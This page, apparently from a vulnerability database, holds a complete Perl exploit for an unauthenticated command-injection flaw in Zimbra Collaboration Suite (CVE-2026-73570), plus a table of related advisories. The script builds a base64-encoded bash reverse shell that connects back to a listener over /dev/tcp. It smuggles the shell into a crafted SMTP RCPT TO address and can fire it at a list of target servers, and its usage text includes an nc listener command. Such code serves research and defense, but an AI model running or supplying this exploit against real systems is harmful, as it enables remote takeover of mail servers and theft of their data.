Zimbra Collaboration Suite 10.1.19 SMTP Command Injection
| Reporter | Title | Published | Views | Family All 23 |
|---|---|---|---|---|
| Exploit for OS Command Injection in Synacor Zimbra_Collaboration_Suite | 26 Aug 202603:30 | – | githubexploit | |
| Exploit for OS Command Injection in Synacor Zimbra_Collaboration_Suite | 28 Aug 202610:37 | – | githubexploit | |
| Exploit for OS Command Injection in Synacor Zimbra_Collaboration_Suite | 24 Aug 202611:55 | – | githubexploit | |
| Exploit for OS Command Injection in Synacor Zimbra_Collaboration_Suite | 25 Aug 202610:25 | – | githubexploit | |
| Exploit for CVE-2026-73570 | 21 Aug 202603:18 | – | githubexploit | |
| CVE-2026-73570 | 13 Aug 202615:19 | – | attackerkb | |
| The vulnerability of the zimbra-snmp package in the Zimbra Collaboration Suite (ZCS) enterprise email management system allows a hacker to execute arbitrary code. | 26 Aug 202600:00 | – | bdu_fstec | |
| CVE-2026-73570 | 13 Aug 202617:00 | – | circl | |
| Zimbra Collaboration Suite (ZCS) OS Command Injection Vulnerability | 21 Aug 202600:00 | – | cisa_kev | |
| CVE-2026-73570 | 13 Aug 202615:19 | – | cve |
10
#!/usr/bin/perl
##############################################################################
# CVE-2026-73570 — Zimbra Collaboration Suite (ZCS)
# SNMP Notification OS Command Injection — Unauthenticated RCE via SMTP
# zimbra-poc.pl exploit by Gabriel P. Lipski
#
# Affected : ZCS < 10.1.20 (zimbra-snmp pkg installed + snmp_notify enabled)
# CVSS 3.1 : 8.9 HIGH — AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:L
# CWE : CWE-78 (Improper Neutralisation of OS Command Special Elements)
# Fixed : Zimbra 10.1.20 (released July 2026)
# CISA KEV : Added 2026-08-21 (remediation deadline 2026-08-24 for FCEB)
#
# Root Cause
# ──────────
# The optional zimbra-snmp package ships a swatchdog configuration that
# watches /var/log/zimbra.log for log lines matching the pattern:
#
# Service status change: <NAME> changed from (stopped|running) to (running|stopped)
#
# When a matching line is seen, swatchdog passes the captured <NAME> field
# directly to the SNMP notification shell script without sanitisation.
# An unauthenticated attacker can inject a fake log line via a crafted
# SMTP RCPT TO command using a quoted local-part (valid per RFC 5321),
# embedding shell metacharacters — e.g. $(...) — inside <NAME>.
#
# Attack Flow
# ───────────
# 1. Attacker opens TCP to port 25 / 465 / 587 of the Zimbra server.
# 2. Sends EHLO, MAIL FROM, then a specially crafted RCPT TO:
# RCPT TO:<"x: Service status change: localhost $(CMD) changed from
# stopped to running"@cve.invalid>
# 3. Zimbra logs the (rejected or accepted) RCPT TO data.
# 4. swatchdog matches the log line pattern.
# 5. SNMP notification handler executes CMD as the 'zimbra' OS user.
#
# References
# ──────────
# https://nvd.nist.gov/vuln/detail/CVE-2026-73570
# https://github.com/BiuTrap/CVE-2026-73570
# https://wiki.zimbra.com/wiki/Zimbra_Security_Advisories
# https://moje.cert.pl/komunikaty/2026/145/aktywnie-wykorzystywana-podatnosc-w-zimbra-collaboration-suite
# https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2026-73570
#
# Usage:
# perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444
# perl zimbra-poc.pl -f targets.txt -r 10.10.10.1 -R 4444
#
# targets.txt format:
# mail.example.com <- default port (--port)
# mail.example.com:25 <- explicit port
# 10.0.0.50:587
#
# Listener: nc -lvnp 4444
#
##############################################################################
use strict;
use warnings;
use IO::Socket::INET;
use IO::Socket::SSL qw(SSL_VERIFY_NONE);
use MIME::Base64 qw(encode_base64 decode_base64);
use Digest::HMAC_MD5 qw(hmac_md5_hex);
use POSIX qw(strftime);
use Fcntl qw(:flock);
use Getopt::Long qw(:config no_ignore_case bundling);
our $VERSION = '1.0.0';
# ── ANSI colors (disabled when stdout is not a TTY) ──────────────────────────
my %C;
{
my $tty = -t STDOUT;
%C = (
rst => $tty ? "\033[0m" : '',
bold => $tty ? "\033[1m" : '',
red => $tty ? "\033[91m" : '',
grn => $tty ? "\033[92m" : '',
ylw => $tty ? "\033[93m" : '',
blu => $tty ? "\033[94m" : '',
mag => $tty ? "\033[95m" : '',
cyn => $tty ? "\033[96m" : '',
wht => $tty ? "\033[37m" : '',
);
}
# ── globals ───────────────────────────────────────────────────────────────────
my ($sock, $log_fh, $tls_active);
# ── options ───────────────────────────────────────────────────────────────────
my %O = (
host => '',
port => 587,
file => '',
rhost => '',
rport => 4444,
timeout => 15,
ssl => 0,
verbose => 0,
logfile => '',
);
GetOptions(
'host|H=s' => \$O{host},
'port|p=i' => \$O{port},
'file|f=s' => \$O{file},
'rhost|r=s' => \$O{rhost},
'rport|R=i' => \$O{rport},
'timeout|t=i' => \$O{timeout},
'ssl|S' => \$O{ssl},
'verbose|v' => \$O{verbose},
'logfile|L=s' => \$O{logfile},
'help|h' => \&usage,
) or usage();
usage() unless ($O{host} || $O{file}) && $O{rhost};
# ── build target list ─────────────────────────────────────────────────────────
my @targets;
if ($O{host}) {
push @targets, { host => $O{host}, port => $O{port} };
}
if ($O{file}) {
open(my $fh, '<', $O{file}) or die "[-] Cannot open '$O{file}': $!\n";
while (my $line = <$fh>) {
chomp $line;
$line =~ s/^\s+|\s+$//g;
next if $line eq '' || $line =~ /^#/;
my ($h, $p) = split(/:/, $line, 2);
$p = $O{port} unless defined $p && $p =~ /^\d+$/;
push @targets, { host => $h, port => int($p) };
}
close $fh;
die "[-] No valid targets in '$O{file}'\n" unless @targets;
}
# ── payload (built once, reused for every target) ─────────────────────────────
my $shell_cmd = "bash -c 'bash -i >&/dev/tcp/$O{rhost}/$O{rport} 0>&1'";
my $b64 = encode_base64($shell_cmd, '');
$b64 =~ s/\s+//g;
my $cmd = "echo ${b64}|base64 -d|bash";
my $inject = "\$(${cmd})";
my $rcpt = qq{"x: Service status change: localhost ${inject} changed from stopped to running"\@cve.invalid};
# ── banner ────────────────────────────────────────────────────────────────────
open_log() if $O{logfile};
print_banner();
say_info(sprintf "Targets : %d host(s)", scalar @targets);
say_info("Shell : $O{rhost}:$O{rport}");
say_info("Listener: nc -lvnp $O{rport}");
print "\n";
# ── target loop ───────────────────────────────────────────────────────────────
my ($ok, $fail) = (0, 0);
for my $i (0 .. $#targets) {
my $t = $targets[$i];
say_info("─" x 50);
say_info(sprintf "[%d/%d] %s:%d", $i+1, scalar @targets, $t->{host}, $t->{port});
my $result = run_exploit($t->{host}, $t->{port});
if ($result eq 'ok') {
say_ok("PAYLOAD SENT — waiting for shell on nc -lvnp $O{rport}");
$ok++;
} else {
say_err("FAILED: $result");
$fail++;
}
sleep 1 unless $i == $#targets;
}
# ── summary ───────────────────────────────────────────────────────────────────
print "\n";
say_info("═" x 50);
say_info(sprintf "Summary: %d/%d hit %d failed", $ok, scalar @targets, $fail);
say_info("═" x 50);
close_log() if $log_fh;
exit 0;
# ═════════════════════════════════════════════════════════════════════════════
# run_exploit — attempts the injection against a single target
# ═════════════════════════════════════════════════════════════════════════════
sub run_exploit {
my ($host, $port) = @_;
my $use_ssl = $O{ssl} || ($port == 465);
# ── connect ───────────────────────────────────────────────────────────────
eval {
if ($use_ssl) {
$sock = IO::Socket::SSL->new(
PeerHost => $host,
PeerPort => $port,
SSL_verify_mode => SSL_VERIFY_NONE,
Timeout => $O{timeout},
Proto => 'tcp',
) or die "SSL: " . IO::Socket::SSL::errstr();
$tls_active = 1;
} else {
$sock = IO::Socket::INET->new(
PeerHost => $host,
PeerPort => $port,
Timeout => $O{timeout},
Proto => 'tcp',
) or die "TCP: $!";
$tls_active = 0;
}
};
if ($@) { (my $e = $@) =~ s/\s+$//; return $e }
$sock->autoflush(1);
say_dbg("Connected");
# ── banner ────────────────────────────────────────────────────────────────
my $banner = smtp_read_line();
unless ($banner =~ /^220/) {
close_sock();
return "unexpected banner: $banner";
}
say_dbg("Banner: $banner");
# ── EHLO ─────────────────────────────────────────────────────────────────
smtp_send("EHLO mx-test.invalid");
my $ehlo = smtp_read_multi();
unless ($ehlo =~ /^250/m) {
close_sock();
return "EHLO failed";
}
# ── STARTTLS ─────────────────────────────────────────────────────────────
if (!$tls_active && $ehlo =~ /STARTTLS/i) {
smtp_send("STARTTLS");
my $r = smtp_read_line();
if ($r =~ /^220/) {
IO::Socket::SSL->start_SSL($sock, SSL_verify_mode => SSL_VERIFY_NONE)
or do { close_sock(); return "STARTTLS failed" };
$tls_active = 1;
say_dbg("STARTTLS negotiated");
smtp_send("EHLO mx-test.invalid");
smtp_read_multi();
}
}
# ── injection ─────────────────────────────────────────────────────────────
smtp_send("MAIL FROM:<scanner\@mx-test.invalid>");
my $r1 = smtp_read_line();
say_dbg("MAIL FROM: $r1");
unless ($r1 =~ /^250/) {
smtp_send("QUIT"); smtp_read_line(); close_sock();
return "MAIL FROM rejected: $r1";
}
say_dbg("RCPT TO: <$rcpt>");
smtp_send("RCPT TO:<$rcpt>");
my $r2 = smtp_read_line();
say_dbg("RCPT TO resp: $r2");
smtp_send("QUIT");
smtp_read_line();
close_sock();
return 'ok' if $r2 =~ /^[245]\d{2}/;
return "no valid response: $r2";
}
# ── SMTP layer ────────────────────────────────────────────────────────────────
sub smtp_send {
my ($line) = @_;
say_dbg(">>> $line");
log_write(">>> $line");
print $sock "$line\r\n";
}
sub smtp_read_line {
my $line = '';
eval {
local $SIG{ALRM} = sub { die "timeout\n" };
alarm($O{timeout});
$line = <$sock> // '';
alarm(0);
};
$line =~ s/[\r\n]+$//;
say_dbg("<<< $line") if $line;
log_write("<<< $line") if $line;
return $line;
}
sub smtp_read_multi {
my $buf = '';
eval {
local $SIG{ALRM} = sub { die "timeout\n" };
alarm($O{timeout});
while (my $line = <$sock>) {
$buf .= $line;
last if $line =~ /^\d{3} /;
}
alarm(0);
};
$buf =~ s/[\r\n]+$//;
return $buf;
}
sub close_sock {
return unless $sock;
eval { $sock->close() };
$sock = undef;
$tls_active = 0;
}
# ── output ────────────────────────────────────────────────────────────────────
sub print_banner {
my ($b, $n, $c, $g, $y) = @C{qw(bold rst cyn grn ylw)};
print "${b}${c} ╔══════════════════════════════════════════════════════════╗${n}\n";
print "${b}${c} ║ CVE-2026-73570 — Zimbra ZCS Unauthenticated RCE ║${n}\n";
print "${b}${c} ║ SNMP Notification OS Command Injection — Reverse Shell ║${n}\n";
print "${b}${c} ╠══════════════════════════════════════════════════════════╣${n}\n";
print "${b}${c} ║ ${g}CVSS 3.1: 8.9 HIGH${c} ZCS < 10.1.20 ║${n}\n";
print "${b}${c} ║ ${y}Authorized security testing use only${c} ║${n}\n";
print "${b}${c} ╚══════════════════════════════════════════════════════════╝${n}\n\n";
}
sub _ts { strftime("%H:%M:%S", localtime) }
sub say_ok { _say($C{bold}.$C{grn}."[+]".$C{rst}, @_) }
sub say_info { _say($C{bold}.$C{blu}."[*]".$C{rst}, @_) }
sub say_err { _say($C{bold}.$C{red}."[-]".$C{rst}, @_) }
sub say_dbg { return unless $O{verbose}; _say($C{mag}."[~]".$C{rst}, @_) }
sub _say {
my ($prefix, $msg) = @_;
printf "%s[%s]%s %s %s\n", $C{wht}, _ts(), $C{rst}, $prefix, $msg;
log_write($msg);
}
sub log_write {
my ($msg) = @_;
return unless $log_fh;
flock($log_fh, LOCK_EX);
printf $log_fh "[%s] %s\n", strftime("%Y-%m-%d %H:%M:%S", localtime), $msg;
flock($log_fh, LOCK_UN);
}
sub open_log {
open($log_fh, '>>', $O{logfile}) or die "[-] Cannot open log '$O{logfile}': $!\n";
$log_fh->autoflush(1);
}
sub close_log {
close($log_fh) if $log_fh;
$log_fh = undef;
}
# ── help ──────────────────────────────────────────────────────────────────────
sub usage {
print <<'END';
Usage:
perl zimbra-poc.pl -H <host> -r <IP> [-R <port>] [options]
perl zimbra-poc.pl -f <list.txt> -r <IP> [-R <port>] [options]
Options:
-H, --host <host> Single target (hostname or IP)
-f, --file <file> File with target list (one per line)
-p, --port <port> Default SMTP port [default: 587]
-r, --rhost <IP> Your IP to receive the reverse shell (required)
-R, --rport <port> Listener port [default: 4444]
-t, --timeout <sec> Socket timeout [default: 15]
-S, --ssl Direct TLS (auto for port 465)
-v, --verbose Show full SMTP dialog
-L, --logfile <file> Save session to log file
-h, --help This help
targets.txt format:
mail.example.com <- default port (--port)
mail.example.com:25 <- explicit port
10.0.0.50:587
# comments are ignored
Examples:
perl zimbra-poc.pl -H mail.target.com -r 10.10.10.1 -R 4444 -v
perl zimbra-poc.pl -f targets.txt -r 10.10.10.1 -R 4444 -L scan.log
nc -lvnp 4444
END
exit 0;
}Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
27 Aug 2026 00:00Current
8.5High risk
Vulners AI Score8.5
CVSS 3.18.9
EPSS0.20528
SSVC